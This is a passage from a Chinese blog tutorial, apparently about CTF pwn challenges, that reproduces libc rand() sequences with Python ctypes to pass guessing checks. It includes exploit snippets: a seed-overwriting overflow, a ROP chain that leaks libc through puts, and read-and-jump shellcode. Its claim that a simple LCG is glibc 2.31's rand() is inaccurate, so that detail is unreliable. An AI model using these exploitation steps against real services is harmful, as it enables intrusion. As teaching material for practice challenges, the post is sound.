当前位置：首页 > news >正文

CTF Pwn题实战：用Python ctypes模块复现libc随机数，轻松绕过99次猜数验证

news 2026/5/12 11:34:19

CTF Pwn题实战：用Python ctypes模块精准复现libc随机数序列

在CTF Pwn类题目中，伪随机数绕过是一个经典且高频出现的题型。许多题目会设计"猜数字"环节作为第一道门槛，要求选手连续猜中多次随机数才能触发后续漏洞。传统解法往往依赖覆盖种子或暴力尝试，但面对动态时间种子或无法修改种子的情况，这些方法就显得力不从心。本文将深入探讨如何利用Python的ctypes模块实现libc随机数的精准复现，提供一套可复用的高级解决方案。

1. 伪随机数机制的核心原理

理解伪随机数生成器(PRNG)的工作原理是破解这类题目的基础。libc中的rand()和srand()函数实现了一套确定性算法：

// 典型实现（glibc 2.31） static unsigned long next = 1; void srand(unsigned int seed) { next = seed; } int rand(void) { next = next * 1103515245 + 12345; return (unsigned int)(next/65536) % 32768; }

关键特性分析：

特性	说明	实战影响
确定性	相同种子产生相同序列	可预测性基础
线性同余	简单数学运算生成	存在模式可循
线程安全	全局状态变量	需考虑多线程干扰
范围限制	通常0-RAND_MAX	需注意题目取模操作

常见CTF陷阱设置手法：

使用time(NULL)作为种子增加"随机性"
对rand()结果进行二次运算（如rand() % 100 + 1）
混合多个随机数生成器增加复杂度

2. 环境精准复现技术栈

2.1 关键工具链配置

实现精准复现需要构建与题目完全一致的环境：

from pwn import * import ctypes # 加载与题目相同的libc libc = ELF('./libc.so.6') # 题目提供的libc ctypes_lib = ctypes.CDLL('./libc.so.6') # 验证关键函数地址 print(f"rand@plt: {hex(libc.symbols['rand'])}") print(f"srand@plt: {hex(libc.symbols['srand'])}")

环境匹配检查清单：

libc版本完全一致（通过strings libc.so.6 | grep GNU验证）
架构相同（x86/x64需特别注意）
初始化状态一致（特别是多线程场景）

2.2 时间种子同步技巧

当题目使用time(0)作为种子时，需要解决毫秒级时间差问题：

import time def sync_seed(): start = int(time.time()) # 网络交互会引入延迟，需要补偿 p.recvuntil(b"start game") ctypes_lib.srand(start + 1) # 实验确定补偿值 return start

时间漂移处理方案对比：

方法	优点	缺点	适用场景
固定补偿值	简单直接	需多次尝试	本地环境
时间范围爆破	可靠性高	耗时较长	远程题目
服务器时间查询	绝对准确	需额外漏洞	特殊配置

3. 实战案例深度解析

3.1 基础绕过：种子覆盖攻击

以2024 HGAME Week1为例，演示完整攻击流程：

# 覆盖seed为固定值 payload = b'A'*0x12 + p32(1) # 精确计算偏移 p.send(payload) # 复现随机序列 ctypes_lib.srand(1) for _ in range(99): num = ctypes_lib.rand() % 100 + 1 p.sendline(str(num).encode()) # 触发栈溢出 payload = flat({ 0x30+8: [ pop_rdi, elf.got['puts'], elf.plt['puts'], vuln_func ] })

关键调试技巧：

使用gdb.attach(p)验证内存布局
通过strace观察系统调用时序
检查rand()的plt表地址确认libc加载正确

3.2 高阶应用：无种子控制的盲预测

NSSCTF 2023的一道题目展示了更复杂场景：

# 无法控制种子，必须同步时间 server_time = get_server_time() # 通过其他漏洞获取 ctypes_lib.srand(server_time) # 沙盒绕过技巧 shellcode = ''' push rdx pop rdi mov rsi, rsp mov rdx, 0x100 mov rax, 0 syscall /* read(rdi, rsp, 0x100) */ jmp rsp ''' p.send(asm(shellcode))

应对策略矩阵：

限制条件	解决方案	实现要点
ASLR开启	泄露libc基址	利用puts等函数
沙盒限制	ORW链构造	熟悉syscall限制
栈保护	ROP链构造	精准控制流劫持
频率限制	时间预测优化	统计模型辅助

4. 防御与对抗进阶

理解出题人视角能更好地应对变种题目：

最新防御手法：

使用getrandom()系统调用替代libc随机数
引入外部熵源（如网络数据）
多层随机数变换（如HMAC-SHA256）

对抗方案：

# 应对加固的随机数方案 def break_advanced_prng(): # 方案1：逆向自定义算法 with open('./chall', 'rb') as f: data = f.read() prng_offset = data.find(b'\x55\x48\x89\xe5\x48\x83\xec') # 识别函数头 # 方案2：侧信道攻击 measure_time_variations() # 方案3：符号执行 import angr proj = angr.Project('./chall')

调试工具推荐组合：